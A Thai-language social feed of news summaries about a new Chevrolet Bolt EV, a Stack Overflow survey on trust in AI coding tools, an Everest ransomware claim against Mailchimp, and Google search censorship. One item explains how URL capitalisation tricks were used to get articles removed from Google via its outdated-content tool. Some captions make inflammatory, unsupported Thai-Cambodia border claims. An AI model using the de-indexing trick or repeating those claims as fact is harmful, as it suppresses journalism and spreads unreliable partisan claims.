    ต้องเปลี่ยนอุปกรณ์หรือพฤติกรรมการใช้งาน
    อาจเกิดความสับสนในช่วงเปลี่ยนผ่าน

    ตลาด EV ยังไม่แน่นอน โดยเฉพาะหากสิทธิ์ลดหย่อนภาษีหมดอายุในเดือนกันยายน
    อาจทำให้ราคาสุทธิของ Bolt สูงขึ้น
    ส่งผลต่อการตัดสินใจของผู้บริโภค

    https://www.techradar.com/vehicle-tech/hybrid-electric-vehicles/americas-cheapest-ev-is-making-a-comeback-with-a-new-chevrolet-bolt-as-mercedes-cuts-its-electric-car-prices
    🎙️ เรื่องเล่าจากข่าว: Bolt กลับมาแล้ว—EV ราคาประหยัดที่อเมริกาต้องการ ในวันที่ตลาดกำลังชะลอตัว Chevrolet ประกาศรีดีไซน์ Bolt EV สำหรับปี 2027 โดยใช้พอร์ตชาร์จแบบ NACS (North American Charging Standard) ซึ่งเป็นมาตรฐานเดียวกับ Tesla ทำให้ผู้ใช้สามารถเข้าถึงเครือข่าย Supercharger ได้โดยไม่ต้องใช้อะแดปเตอร์ นอกจากดีไซน์ใหม่ที่ดูสปอร์ตขึ้นและไฟท้ายที่ปรับปรุงจากเสียงบ่นของผู้ใช้เดิม Bolt รุ่นใหม่ยังใช้แบตเตอรี่แบบ LFP (ลิเธียม-เหล็ก-ฟอสเฟต) ที่มีต้นทุนต่ำและอายุการใช้งานยาวนานกว่าเดิม ในขณะที่ Bolt กลับมาอย่างมั่นใจ Mercedes-Benz และ Porsche กลับต้องลดราคาหรือชะลอการส่งมอบ EV บางรุ่น เพราะยอดขายในอเมริกาชะลอตัว และผู้บริโภคยังมองว่า EV ส่วนใหญ่ “แพงเกินไป” โดยเฉพาะเมื่อเทียบกับรายได้เฉลี่ย ✅ Chevrolet Bolt EV รุ่นใหม่จะเปิดตัวในปี 2027 พร้อมพอร์ตชาร์จแบบ NACS ➡️ เป็น EV รุ่นแรกของ Chevy ที่ใช้พอร์ต Tesla โดยตรง ➡️ เข้าถึงเครือข่าย Supercharger ได้ทันที ✅ ใช้แบตเตอรี่ LFP ที่มีต้นทุนต่ำและอายุการใช้งานยาวนาน ➡️ ช่วยให้ราคาขายต่ำกว่า $30,000 ได้ ➡️ ยังไม่มีตัวเลขระยะทางวิ่งที่แน่นอน ✅ ดีไซน์ใหม่มีไฟหน้า LED แบบบาง, ล้ออัลลอยใหม่ และไฟท้ายที่ปรับปรุงจากเสียงผู้ใช้เดิม ➡️ ดูสปอร์ตและทันสมัยขึ้น ➡️ ยังใช้แพลตฟอร์ม BEV2 เดิมแต่ปรับปรุงภายใน ✅ Mercedes-Benz ลดราคาหลายรุ่นในกลุ่ม EQ และชะลอการส่งมอบบางรุ่นเพื่อควบคุมสต็อก ➡️ สะท้อนความต้องการ EV ที่ลดลงในอเมริกา ➡️ Porsche ก็ลดเป้าหมายรายได้จากผลกระทบของภาษีการค้า ✅ ตลาด EV ในอเมริกายังต้องการรถราคาประหยัดเพื่อกระตุ้นการใช้งานในวงกว้าง ➡️ Nissan Leaf และ Hyundai Kona Electric ยังเป็นตัวเลือกที่เข้าถึงได้ ➡️ แต่หลายรุ่นยังมีราคาสูงกว่า $40,000 ✅ NACS กลายเป็นมาตรฐานใหม่ของอเมริกา โดยผู้ผลิตหลายรายเริ่มเปลี่ยนมาใช้แทน CCS ➡️ เช่น Ford, Hyundai, GM และ Rivian ➡️ ช่วยให้เครือข่ายชาร์จมีความเป็นหนึ่งเดียว ✅ แบตเตอรี่ LFP มีข้อดีคือราคาถูกและปลอดภัย แต่มีพลังงานต่อหน่วยต่ำกว่า NMC ➡️ เหมาะกับรถราคาประหยัดและใช้งานในเมือง ➡️ ไม่เหมาะกับรถที่ต้องการระยะทางวิ่งไกลมาก ✅ ตลาด EV ในจีนมีรถราคาต่ำกว่า $10,000 ที่ขายดีมาก เช่น BYD Seagull ➡️ สหรัฐฯ ยังไม่มีรถระดับนี้ในตลาด ➡️ Bolt อาจเป็นตัวแทนของ EV ราคาประหยัดในอเมริกา ‼️ Bolt รุ่นใหม่ยังไม่มีข้อมูลระยะทางวิ่งที่แน่นอนจากแบตเตอรี่ LFP ⛔ อาจต่ำกว่าคู่แข่งที่ใช้แบตเตอรี่ NMC ⛔ ต้องรอการทดสอบจริงก่อนตัดสินใจซื้อ ‼️ การใช้แพลตฟอร์ม BEV2 เดิมอาจจำกัดการพัฒนาเทคโนโลยีใหม่ในระยะยาว ⛔ ไม่รองรับระบบขับเคลื่อนอัตโนมัติระดับสูง ⛔ อาจไม่ทันกับคู่แข่งที่ใช้แพลตฟอร์มใหม่ทั้งหมด ‼️ การพึ่งพาพอร์ต NACS อาจทำให้ผู้ใช้ต้องปรับพฤติกรรมการชาร์จ หากเคยใช้ CCS มาก่อน ⛔ ต้องเปลี่ยนอุปกรณ์หรือพฤติกรรมการใช้งาน ⛔ อาจเกิดความสับสนในช่วงเปลี่ยนผ่าน ‼️ ตลาด EV ยังไม่แน่นอน โดยเฉพาะหากสิทธิ์ลดหย่อนภาษีหมดอายุในเดือนกันยายน ⛔ อาจทำให้ราคาสุทธิของ Bolt สูงขึ้น ⛔ ส่งผลต่อการตัดสินใจของผู้บริโภค https://www.techradar.com/vehicle-tech/hybrid-electric-vehicles/americas-cheapest-ev-is-making-a-comeback-with-a-new-chevrolet-bolt-as-mercedes-cuts-its-electric-car-prices
    0 ความคิดเห็น 0 การแบ่งปัน 96 มุมมอง 0 รีวิว
  • เรื่องเล่าจากข่าว: นักพัฒนาใช้ AI มากขึ้น แต่เชื่อใจน้อยลง—เมื่อ “เกือบถูก” กลายเป็นต้นทุนที่ซ่อนอยู่

    จากผลสำรวจนักพัฒนากว่า 49,000 คนโดย Stack Overflow พบว่า 80% ใช้ AI ในงานเขียนโค้ดในปี 2025 ซึ่งเพิ่มขึ้นอย่างรวดเร็วในช่วงไม่กี่ปีที่ผ่านมา แต่ในขณะเดียวกัน ความเชื่อมั่นในความแม่นยำของ AI กลับลดลงเหลือเพียง 29% จาก 40% ในปีก่อน

    ปัญหาหลักคือ “คำตอบที่เกือบถูก” จาก AI เช่น GitHub Copilot หรือ Cursor ที่ดูเหมือนจะใช้งานได้ แต่แฝงข้อผิดพลาดเชิงตรรกะหรือบั๊กที่ยากจะตรวจพบ โดยเฉพาะนักพัฒนารุ่นใหม่ที่มักเชื่อคำแนะนำของ AI มากเกินไป

    ผลคือ นักพัฒนาต้องเสียเวลานานในการดีบัก และกว่า 1 ใน 3 ต้องกลับไปหาคำตอบจาก Stack Overflow เพื่อแก้ปัญหาที่เกิดจากโค้ดที่ AI สร้างขึ้น

    แม้จะมีโมเดลใหม่ที่เน้นการให้เหตุผลมากขึ้น แต่ปัญหา “เกือบถูก” ยังคงอยู่ เพราะเป็นธรรมชาติของการสร้างข้อความแบบคาดการณ์ ซึ่งไม่สามารถเข้าใจบริบทลึกได้เหมือนมนุษย์

    80% ของนักพัฒนาใช้ AI ในงานเขียนโค้ดในปี 2025
    เพิ่มขึ้นจาก 76% ในปี 2024
    เป็นการยอมรับอย่างกว้างขวางในวงการ

    ความเชื่อมั่นในความแม่นยำของ AI ลดลงเหลือ 29%
    จาก 40% ในปี 2024 และ 43% ในปี 2023
    สะท้อนความกังวลเรื่องคุณภาพของผลลัพธ์

    45% ของนักพัฒนาระบุว่าการดีบักโค้ดจาก AI ใช้เวลามากกว่าที่คาด
    โดยเฉพาะเมื่อโค้ดดูเหมือนถูกแต่มีข้อผิดพลาดซ่อนอยู่
    ส่งผลให้ workflow สะดุดและเสียเวลา

    มากกว่า 1 ใน 3 ของนักพัฒนาเข้า Stack Overflow เพื่อแก้ปัญหาที่เกิดจาก AI
    แสดงว่า AI ไม่สามารถแทนที่ความรู้จากชุมชนได้
    Stack Overflow ยังมีบทบาทสำคัญในการแก้ปัญหา

    72% ของนักพัฒนาไม่ใช้ “vibe coding” หรือการวางโค้ดจาก AI โดยไม่ตรวจสอบ
    เพราะเสี่ยงต่อการเกิดบั๊กที่ยากตรวจจับ
    ไม่เหมาะกับการใช้งานในระบบจริง

    AI ยังมีข้อดีด้านการเรียนรู้ โดยช่วยลดความยากในการเริ่มต้นภาษาใหม่หรือ framework ใหม่
    ให้คำตอบเฉพาะจุดที่ตรงกับบริบท
    เสริมการค้นหาจากเอกสารแบบเดิม

    โค้ดที่ “เกือบถูก” จาก AI อาจสร้างบั๊กที่ยากตรวจจับและใช้เวลานานในการแก้ไข
    โดยเฉพาะกับนักพัฒนาที่ไม่มีประสบการณ์
    อาจทำให้ระบบมีข้อผิดพลาดที่ไม่รู้ตัว

    การเชื่อคำแนะนำของ AI โดยไม่ตรวจสอบอาจทำให้เกิดความเสียหายในระบบจริง
    AI ไม่เข้าใจบริบทเชิงธุรกิจหรือข้อจำกัดเฉพาะ
    ต้องมีการตรวจสอบจากมนุษย์เสมอ

    การใช้ AI โดยไม่มีการฝึกอบรมหรือแนวทางที่ชัดเจนอาจสร้างภาระมากกว่าประโยชน์
    ผู้ใช้ต้องเข้าใจขีดจำกัดของเครื่องมือ
    ต้องมี mindset ที่ไม่พึ่งพา AI อย่างเดียว

    การใช้ autocomplete จาก AI โดยไม่พิจารณาอาจฝังข้อผิดพลาดลงในระบบ
    ต้องใช้ AI เป็น “คู่คิด” ไม่ใช่ “ผู้แทน”
    ควรใช้เพื่อเสนอไอเดีย ไม่ใช่แทนการเขียนทั้งหมด

    https://www.techspot.com/news/108907-developers-increasingly-embrace-ai-tools-even-their-trust.html
    🎙️ เรื่องเล่าจากข่าว: นักพัฒนาใช้ AI มากขึ้น แต่เชื่อใจน้อยลง—เมื่อ “เกือบถูก” กลายเป็นต้นทุนที่ซ่อนอยู่ จากผลสำรวจนักพัฒนากว่า 49,000 คนโดย Stack Overflow พบว่า 80% ใช้ AI ในงานเขียนโค้ดในปี 2025 ซึ่งเพิ่มขึ้นอย่างรวดเร็วในช่วงไม่กี่ปีที่ผ่านมา แต่ในขณะเดียวกัน ความเชื่อมั่นในความแม่นยำของ AI กลับลดลงเหลือเพียง 29% จาก 40% ในปีก่อน ปัญหาหลักคือ “คำตอบที่เกือบถูก” จาก AI เช่น GitHub Copilot หรือ Cursor ที่ดูเหมือนจะใช้งานได้ แต่แฝงข้อผิดพลาดเชิงตรรกะหรือบั๊กที่ยากจะตรวจพบ โดยเฉพาะนักพัฒนารุ่นใหม่ที่มักเชื่อคำแนะนำของ AI มากเกินไป ผลคือ นักพัฒนาต้องเสียเวลานานในการดีบัก และกว่า 1 ใน 3 ต้องกลับไปหาคำตอบจาก Stack Overflow เพื่อแก้ปัญหาที่เกิดจากโค้ดที่ AI สร้างขึ้น แม้จะมีโมเดลใหม่ที่เน้นการให้เหตุผลมากขึ้น แต่ปัญหา “เกือบถูก” ยังคงอยู่ เพราะเป็นธรรมชาติของการสร้างข้อความแบบคาดการณ์ ซึ่งไม่สามารถเข้าใจบริบทลึกได้เหมือนมนุษย์ ✅ 80% ของนักพัฒนาใช้ AI ในงานเขียนโค้ดในปี 2025 ➡️ เพิ่มขึ้นจาก 76% ในปี 2024 ➡️ เป็นการยอมรับอย่างกว้างขวางในวงการ ✅ ความเชื่อมั่นในความแม่นยำของ AI ลดลงเหลือ 29% ➡️ จาก 40% ในปี 2024 และ 43% ในปี 2023 ➡️ สะท้อนความกังวลเรื่องคุณภาพของผลลัพธ์ ✅ 45% ของนักพัฒนาระบุว่าการดีบักโค้ดจาก AI ใช้เวลามากกว่าที่คาด ➡️ โดยเฉพาะเมื่อโค้ดดูเหมือนถูกแต่มีข้อผิดพลาดซ่อนอยู่ ➡️ ส่งผลให้ workflow สะดุดและเสียเวลา ✅ มากกว่า 1 ใน 3 ของนักพัฒนาเข้า Stack Overflow เพื่อแก้ปัญหาที่เกิดจาก AI ➡️ แสดงว่า AI ไม่สามารถแทนที่ความรู้จากชุมชนได้ ➡️ Stack Overflow ยังมีบทบาทสำคัญในการแก้ปัญหา ✅ 72% ของนักพัฒนาไม่ใช้ “vibe coding” หรือการวางโค้ดจาก AI โดยไม่ตรวจสอบ ➡️ เพราะเสี่ยงต่อการเกิดบั๊กที่ยากตรวจจับ ➡️ ไม่เหมาะกับการใช้งานในระบบจริง ✅ AI ยังมีข้อดีด้านการเรียนรู้ โดยช่วยลดความยากในการเริ่มต้นภาษาใหม่หรือ framework ใหม่ ➡️ ให้คำตอบเฉพาะจุดที่ตรงกับบริบท ➡️ เสริมการค้นหาจากเอกสารแบบเดิม ‼️ โค้ดที่ “เกือบถูก” จาก AI อาจสร้างบั๊กที่ยากตรวจจับและใช้เวลานานในการแก้ไข ⛔ โดยเฉพาะกับนักพัฒนาที่ไม่มีประสบการณ์ ⛔ อาจทำให้ระบบมีข้อผิดพลาดที่ไม่รู้ตัว ‼️ การเชื่อคำแนะนำของ AI โดยไม่ตรวจสอบอาจทำให้เกิดความเสียหายในระบบจริง ⛔ AI ไม่เข้าใจบริบทเชิงธุรกิจหรือข้อจำกัดเฉพาะ ⛔ ต้องมีการตรวจสอบจากมนุษย์เสมอ ‼️ การใช้ AI โดยไม่มีการฝึกอบรมหรือแนวทางที่ชัดเจนอาจสร้างภาระมากกว่าประโยชน์ ⛔ ผู้ใช้ต้องเข้าใจขีดจำกัดของเครื่องมือ ⛔ ต้องมี mindset ที่ไม่พึ่งพา AI อย่างเดียว ‼️ การใช้ autocomplete จาก AI โดยไม่พิจารณาอาจฝังข้อผิดพลาดลงในระบบ ⛔ ต้องใช้ AI เป็น “คู่คิด” ไม่ใช่ “ผู้แทน” ⛔ ควรใช้เพื่อเสนอไอเดีย ไม่ใช่แทนการเขียนทั้งหมด https://www.techspot.com/news/108907-developers-increasingly-embrace-ai-tools-even-their-trust.html
    WWW.TECHSPOT.COM
    Software developers use AI more than ever, but trust it less
    In its annual poll of 49,000 professional developers, Stack Overflow found that 80 percent use AI tools in their work in 2025, a share that has surged...
    0 ความคิดเห็น 0 การแบ่งปัน 91 มุมมอง 0 รีวิว
  • เรื่องเล่าจากข่าว: Everest Ransomware กับการโจมตี Mailchimp ที่กลายเป็นเรื่องตลกในวงการไซเบอร์

    ปลายเดือนกรกฎาคม 2025 กลุ่ม Everest ransomware ได้โพสต์บนเว็บไซต์มืดว่า พวกเขาเจาะระบบของ Mailchimp—แพลตฟอร์มการตลาดผ่านอีเมลชื่อดัง—และขโมยข้อมูลขนาด 767 MB รวม 943,536 บรรทัด ซึ่งอ้างว่าเป็น “เอกสารภายในบริษัท” และ “ข้อมูลส่วนตัวของลูกค้า”

    แต่เมื่อผู้เชี่ยวชาญด้านความปลอดภัยได้ตรวจสอบตัวอย่างข้อมูล พบว่าเป็นเพียงข้อมูลธุรกิจทั่วไป เช่น อีเมลบริษัท, โดเมน, เบอร์โทร, เมือง, ประเทศ, ลิงก์โซเชียลมีเดีย และเทคโนโลยีที่ใช้ ไม่ใช่ข้อมูลลับหรือข้อมูลภายในที่สำคัญของ Mailchimp

    ชุมชนไซเบอร์จึงพากันหัวเราะเยาะการโจมตีครั้งนี้ โดยเปรียบเทียบว่า “เหมือนข้อมูลของลูกค้าคนเดียว” หรือ “แค่เศษเสี้ยวของข้อมูลที่ Mailchimp ส่งออกในหนึ่งวินาที”

    แม้จะดูเล็กน้อย แต่การโจมตีนี้ยังสะท้อนแนวโน้มที่น่ากังวล—การเพิ่มขึ้นของ ransomware ทั่วโลกในเดือนกรกฎาคม โดยมีหลายกลุ่มโจมตีองค์กรใหญ่ เช่น Dollar Tree, Albavision และ NASCAR

    Everest ransomware อ้างว่าเจาะระบบ Mailchimp และขโมยข้อมูล 767 MB รวม 943,536 บรรทัด
    อ้างว่าเป็นเอกสารภายในและข้อมูลลูกค้า
    โพสต์บนเว็บไซต์มืดพร้อมตัวอย่างข้อมูล

    ข้อมูลที่หลุดเป็นข้อมูลธุรกิจทั่วไป ไม่ใช่ข้อมูลลับของ Mailchimp
    เช่น อีเมลบริษัท, โดเมน, เบอร์โทร, เทคโนโลยีที่ใช้
    ดูเหมือนมาจากการ export จากระบบ CRM มากกว่าระบบภายใน

    ชุมชนผู้เชี่ยวชาญด้านไซเบอร์เยาะเย้ยการโจมตีครั้งนี้ว่า “เล็กเกินคาด”
    เปรียบเทียบว่าเป็นข้อมูลของลูกค้าคนเดียว
    คาดหวังว่าจะมีข้อมูลระดับ GB หรือ TB จากบริษัทใหญ่แบบ Mailchimp

    Everest ransomware เคยโจมตีบริษัทใหญ่มาแล้ว เช่น Coca-Cola และรัฐบาลในอเมริกาใต้
    ใช้โมเดล double extortion: เข้ารหัสไฟล์ + ขู่เปิดเผยข้อมูล
    ล่าสุดเริ่มขายสิทธิ์เข้าถึงระบบให้กลุ่มอื่นแทนการโจมตีเอง

    การโจมตี Mailchimp เป็นส่วนหนึ่งของคลื่น ransomware ที่พุ่งสูงในเดือนกรกฎาคม 2025
    INC ransomware อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree
    GLOBAL GROUP โจมตี Albavision ได้ข้อมูล 400 GB
    Medusa ransomware เรียกค่าไถ่ NASCAR มูลค่า $4 ล้าน

    https://hackread.com/everest-ransomware-claims-mailchimp-small-breach/
    🎙️ เรื่องเล่าจากข่าว: Everest Ransomware กับการโจมตี Mailchimp ที่กลายเป็นเรื่องตลกในวงการไซเบอร์ ปลายเดือนกรกฎาคม 2025 กลุ่ม Everest ransomware ได้โพสต์บนเว็บไซต์มืดว่า พวกเขาเจาะระบบของ Mailchimp—แพลตฟอร์มการตลาดผ่านอีเมลชื่อดัง—และขโมยข้อมูลขนาด 767 MB รวม 943,536 บรรทัด ซึ่งอ้างว่าเป็น “เอกสารภายในบริษัท” และ “ข้อมูลส่วนตัวของลูกค้า” แต่เมื่อผู้เชี่ยวชาญด้านความปลอดภัยได้ตรวจสอบตัวอย่างข้อมูล พบว่าเป็นเพียงข้อมูลธุรกิจทั่วไป เช่น อีเมลบริษัท, โดเมน, เบอร์โทร, เมือง, ประเทศ, ลิงก์โซเชียลมีเดีย และเทคโนโลยีที่ใช้ ไม่ใช่ข้อมูลลับหรือข้อมูลภายในที่สำคัญของ Mailchimp ชุมชนไซเบอร์จึงพากันหัวเราะเยาะการโจมตีครั้งนี้ โดยเปรียบเทียบว่า “เหมือนข้อมูลของลูกค้าคนเดียว” หรือ “แค่เศษเสี้ยวของข้อมูลที่ Mailchimp ส่งออกในหนึ่งวินาที” แม้จะดูเล็กน้อย แต่การโจมตีนี้ยังสะท้อนแนวโน้มที่น่ากังวล—การเพิ่มขึ้นของ ransomware ทั่วโลกในเดือนกรกฎาคม โดยมีหลายกลุ่มโจมตีองค์กรใหญ่ เช่น Dollar Tree, Albavision และ NASCAR ✅ Everest ransomware อ้างว่าเจาะระบบ Mailchimp และขโมยข้อมูล 767 MB รวม 943,536 บรรทัด ➡️ อ้างว่าเป็นเอกสารภายในและข้อมูลลูกค้า ➡️ โพสต์บนเว็บไซต์มืดพร้อมตัวอย่างข้อมูล ✅ ข้อมูลที่หลุดเป็นข้อมูลธุรกิจทั่วไป ไม่ใช่ข้อมูลลับของ Mailchimp ➡️ เช่น อีเมลบริษัท, โดเมน, เบอร์โทร, เทคโนโลยีที่ใช้ ➡️ ดูเหมือนมาจากการ export จากระบบ CRM มากกว่าระบบภายใน ✅ ชุมชนผู้เชี่ยวชาญด้านไซเบอร์เยาะเย้ยการโจมตีครั้งนี้ว่า “เล็กเกินคาด” ➡️ เปรียบเทียบว่าเป็นข้อมูลของลูกค้าคนเดียว ➡️ คาดหวังว่าจะมีข้อมูลระดับ GB หรือ TB จากบริษัทใหญ่แบบ Mailchimp ✅ Everest ransomware เคยโจมตีบริษัทใหญ่มาแล้ว เช่น Coca-Cola และรัฐบาลในอเมริกาใต้ ➡️ ใช้โมเดล double extortion: เข้ารหัสไฟล์ + ขู่เปิดเผยข้อมูล ➡️ ล่าสุดเริ่มขายสิทธิ์เข้าถึงระบบให้กลุ่มอื่นแทนการโจมตีเอง ✅ การโจมตี Mailchimp เป็นส่วนหนึ่งของคลื่น ransomware ที่พุ่งสูงในเดือนกรกฎาคม 2025 ➡️ INC ransomware อ้างว่าได้ข้อมูล 1.2 TB จาก Dollar Tree ➡️ GLOBAL GROUP โจมตี Albavision ได้ข้อมูล 400 GB ➡️ Medusa ransomware เรียกค่าไถ่ NASCAR มูลค่า $4 ล้าน https://hackread.com/everest-ransomware-claims-mailchimp-small-breach/
    HACKREAD.COM
    Everest Ransomware Claims Mailchimp as New Victim in Relatively Small Breach
    Follow us on Bluesky, Twitter (X), Mastodon and Facebook at @Hackread
    0 ความคิดเห็น 0 การแบ่งปัน 70 มุมมอง 0 รีวิว
  • ฉันรักควาย​ -​Solitary​ Tool
    https://youtu.be/eKPOXE0D8CE?si=aZ-bEVUugQfgbm13
    ฉันรักควาย​ -​Solitary​ Tool https://youtu.be/eKPOXE0D8CE?si=aZ-bEVUugQfgbm13
    0 ความคิดเห็น 0 การแบ่งปัน 28 มุมมอง 0 รีวิว
  • จ่าโอตกใจมาก! เปิดคลิปเสียงเขมร ว.0 รับคำสั่งจาก “ทหารรับจ้างรัสเซีย”! [1/8/68]
    Sergeant O shocked! Leaked Khmer radio clip reveals Russian mercenary command.

    #TruthFromThailand #CambodiaNoCeasefire #Hunsenfiredfirst #CambodianDeception
    #กัมพูชายิงก่อน #เขมรละเมิดหยุดยิง #ทหารรับจ้างต่างชาติ
    #จ่าโอ #Thaitimes #News1 #Shorts
    จ่าโอตกใจมาก! เปิดคลิปเสียงเขมร ว.0 รับคำสั่งจาก “ทหารรับจ้างรัสเซีย”! [1/8/68] Sergeant O shocked! Leaked Khmer radio clip reveals Russian mercenary command. #TruthFromThailand #CambodiaNoCeasefire #Hunsenfiredfirst #CambodianDeception #กัมพูชายิงก่อน #เขมรละเมิดหยุดยิง #ทหารรับจ้างต่างชาติ #จ่าโอ #Thaitimes #News1 #Shorts
    0 ความคิดเห็น 0 การแบ่งปัน 177 มุมมอง 0 0 รีวิว
  • สมศักดิ์ รมต.สธ ไม่ทำให้ “เขมร” ผิดหวังจริงๆ [1/8/68]
    Thailand’s Health Minister never fails to impress the Khmer — truly loyal to the wrong side.

    #TruthFromThailand #CambodiaNoCeasefire #Hunsenfiredfirst #CambodianDeception #Thaitimes #News1 #Shorts #กัมพูชายิงก่อน #เขมรละเมิดหยุดยิง #ความจริงจากไทย
    สมศักดิ์ รมต.สธ ไม่ทำให้ “เขมร” ผิดหวังจริงๆ [1/8/68] Thailand’s Health Minister never fails to impress the Khmer — truly loyal to the wrong side. #TruthFromThailand #CambodiaNoCeasefire #Hunsenfiredfirst #CambodianDeception #Thaitimes #News1 #Shorts #กัมพูชายิงก่อน #เขมรละเมิดหยุดยิง #ความจริงจากไทย
    Love
    1
    0 ความคิดเห็น 0 การแบ่งปัน 147 มุมมอง 0 0 รีวิว
  • เรื่องเล่าจากข่าว: ช่องโหว่ Google ที่ถูกใช้ลบข่าวไม่พึงประสงค์แบบแนบเนียน

    นักข่าวอิสระ Jack Poulson พบว่าบทความของเขาเกี่ยวกับการจับกุม CEO ชื่อ Delwin Maurice Blackman ในปี 2021 ได้หายไปจากผลการค้นหาของ Google แม้จะค้นหาด้วยชื่อบทความแบบตรงเป๊ะก็ไม่เจอ

    หลังจากตรวจสอบร่วมกับ Freedom of the Press Foundation (FPF) พบว่า มีผู้ไม่ประสงค์ดีใช้เครื่องมือ “Refresh Outdated Content” ของ Google เพื่อส่งคำขอให้ลบ URL ที่ดูเหมือนจะล้าสมัย โดยใช้เทคนิคเปลี่ยนตัวอักษรใน URL ให้เป็นตัวพิมพ์ใหญ่บางตัว เช่น “anatomy” เป็น “AnAtomy” ทำให้ Google เข้าใจผิดว่า URL นั้นเสีย (404) และลบ URL จริงที่ยังใช้งานได้ออกจากดัชนีการค้นหาไปด้วย

    Google ยืนยันว่ามีช่องโหว่นี้จริง และได้แก้ไขแล้ว แต่ไม่เปิดเผยว่ามีเว็บไซต์ใดได้รับผลกระทบบ้าง และไม่มีระบบติดตามว่าใครเป็นผู้ส่งคำขอเหล่านั้น

    นักข่าว Jack Poulson พบว่าบทความของเขาหายไปจาก Google Search โดยไม่ทราบสาเหตุ
    แม้จะค้นหาด้วยชื่อบทความแบบตรงก็ไม่พบในผลการค้นหา
    บทความเกี่ยวข้องกับการจับกุม CEO Premise Data ในคดีความรุนแรงในครอบครัว

    Freedom of the Press Foundation ตรวจสอบและพบช่องโหว่ในเครื่องมือ Refresh Outdated Content ของ Google
    ผู้ใช้สามารถส่งคำขอให้ลบ URL ที่ดูเหมือนล้าสมัยได้ แม้จะไม่ใช่เจ้าของเว็บไซต์
    การเปลี่ยนตัวอักษรใน URL ทำให้ Google เข้าใจผิดว่าเป็นลิงก์เสีย

    Google ยืนยันว่ามีช่องโหว่นี้จริง และได้แก้ไขแล้วในเดือนมิถุนายน 2025
    ระบุว่า “มีผลกระทบต่อเว็บไซต์เพียงส่วนน้อย”
    ไม่เปิดเผยจำนวนคำขอที่ถูกใช้ในทางมิชอบ

    บทความของ FPF ที่รายงานเรื่องนี้ก็ถูกลบจาก Google Search ด้วยวิธีเดียวกัน
    มีการส่งคำขอซ้ำหลายครั้งโดยเปลี่ยนตัวอักษรใน URL ทีละตัว
    กลายเป็น “เกมตีตัวตุ่น” ที่ต้องคอยส่งบทความกลับเข้าไปใหม่ตลอด

    ผู้เชี่ยวชาญชี้ว่า ช่องโหว่นี้อาจถูกใช้โดยบริษัทจัดการชื่อเสียงหรือบุคคลมีอิทธิพลเพื่อเซ็นเซอร์ข้อมูล
    ไม่มีระบบติดตามว่าใครเป็นผู้ส่งคำขอ
    เป็นการเซ็นเซอร์แบบเงียบที่ไม่ต้องลบเนื้อหาจริงจากเว็บไซต์

    https://www.techspot.com/news/108880-google-search-flaw-allows-articles-vanish-through-clever.html
    🎙️ เรื่องเล่าจากข่าว: ช่องโหว่ Google ที่ถูกใช้ลบข่าวไม่พึงประสงค์แบบแนบเนียน นักข่าวอิสระ Jack Poulson พบว่าบทความของเขาเกี่ยวกับการจับกุม CEO ชื่อ Delwin Maurice Blackman ในปี 2021 ได้หายไปจากผลการค้นหาของ Google แม้จะค้นหาด้วยชื่อบทความแบบตรงเป๊ะก็ไม่เจอ หลังจากตรวจสอบร่วมกับ Freedom of the Press Foundation (FPF) พบว่า มีผู้ไม่ประสงค์ดีใช้เครื่องมือ “Refresh Outdated Content” ของ Google เพื่อส่งคำขอให้ลบ URL ที่ดูเหมือนจะล้าสมัย โดยใช้เทคนิคเปลี่ยนตัวอักษรใน URL ให้เป็นตัวพิมพ์ใหญ่บางตัว เช่น “anatomy” เป็น “AnAtomy” ทำให้ Google เข้าใจผิดว่า URL นั้นเสีย (404) และลบ URL จริงที่ยังใช้งานได้ออกจากดัชนีการค้นหาไปด้วย Google ยืนยันว่ามีช่องโหว่นี้จริง และได้แก้ไขแล้ว แต่ไม่เปิดเผยว่ามีเว็บไซต์ใดได้รับผลกระทบบ้าง และไม่มีระบบติดตามว่าใครเป็นผู้ส่งคำขอเหล่านั้น ✅ นักข่าว Jack Poulson พบว่าบทความของเขาหายไปจาก Google Search โดยไม่ทราบสาเหตุ ➡️ แม้จะค้นหาด้วยชื่อบทความแบบตรงก็ไม่พบในผลการค้นหา ➡️ บทความเกี่ยวข้องกับการจับกุม CEO Premise Data ในคดีความรุนแรงในครอบครัว ✅ Freedom of the Press Foundation ตรวจสอบและพบช่องโหว่ในเครื่องมือ Refresh Outdated Content ของ Google ➡️ ผู้ใช้สามารถส่งคำขอให้ลบ URL ที่ดูเหมือนล้าสมัยได้ แม้จะไม่ใช่เจ้าของเว็บไซต์ ➡️ การเปลี่ยนตัวอักษรใน URL ทำให้ Google เข้าใจผิดว่าเป็นลิงก์เสีย ✅ Google ยืนยันว่ามีช่องโหว่นี้จริง และได้แก้ไขแล้วในเดือนมิถุนายน 2025 ➡️ ระบุว่า “มีผลกระทบต่อเว็บไซต์เพียงส่วนน้อย” ➡️ ไม่เปิดเผยจำนวนคำขอที่ถูกใช้ในทางมิชอบ ✅ บทความของ FPF ที่รายงานเรื่องนี้ก็ถูกลบจาก Google Search ด้วยวิธีเดียวกัน ➡️ มีการส่งคำขอซ้ำหลายครั้งโดยเปลี่ยนตัวอักษรใน URL ทีละตัว ➡️ กลายเป็น “เกมตีตัวตุ่น” ที่ต้องคอยส่งบทความกลับเข้าไปใหม่ตลอด ✅ ผู้เชี่ยวชาญชี้ว่า ช่องโหว่นี้อาจถูกใช้โดยบริษัทจัดการชื่อเสียงหรือบุคคลมีอิทธิพลเพื่อเซ็นเซอร์ข้อมูล ➡️ ไม่มีระบบติดตามว่าใครเป็นผู้ส่งคำขอ ➡️ เป็นการเซ็นเซอร์แบบเงียบที่ไม่ต้องลบเนื้อหาจริงจากเว็บไซต์ https://www.techspot.com/news/108880-google-search-flaw-allows-articles-vanish-through-clever.html
    WWW.TECHSPOT.COM
    Google search flaw allows articles to vanish through "clever" censorship tactics
    Someone successfully censored a pair of uncomfortable articles that were previously accessible through Google Search. The unknown party exploited a clever trick along with a bug in...
    0 ความคิดเห็น 0 การแบ่งปัน 104 มุมมอง 0 รีวิว
  • เรื่องเล่าจากข่าว: “SQL Server 2025” กับการปฏิวัติการจัดการข้อมูลเวกเตอร์

    ในยุคที่ AI กลายเป็นเครื่องมือประจำวันของทั้งนักพัฒนาและผู้ใช้ทั่วไป Microsoft จึงเดินหน้าอัปเดตไดรเวอร์ .NET และ JDBC ให้รองรับ vector data type แบบเนทีฟ เพื่อให้ SQL Server 2025 และ Azure SQL Database ทำงานกับข้อมูลเวกเตอร์ได้เร็วขึ้นและมีประสิทธิภาพมากขึ้น

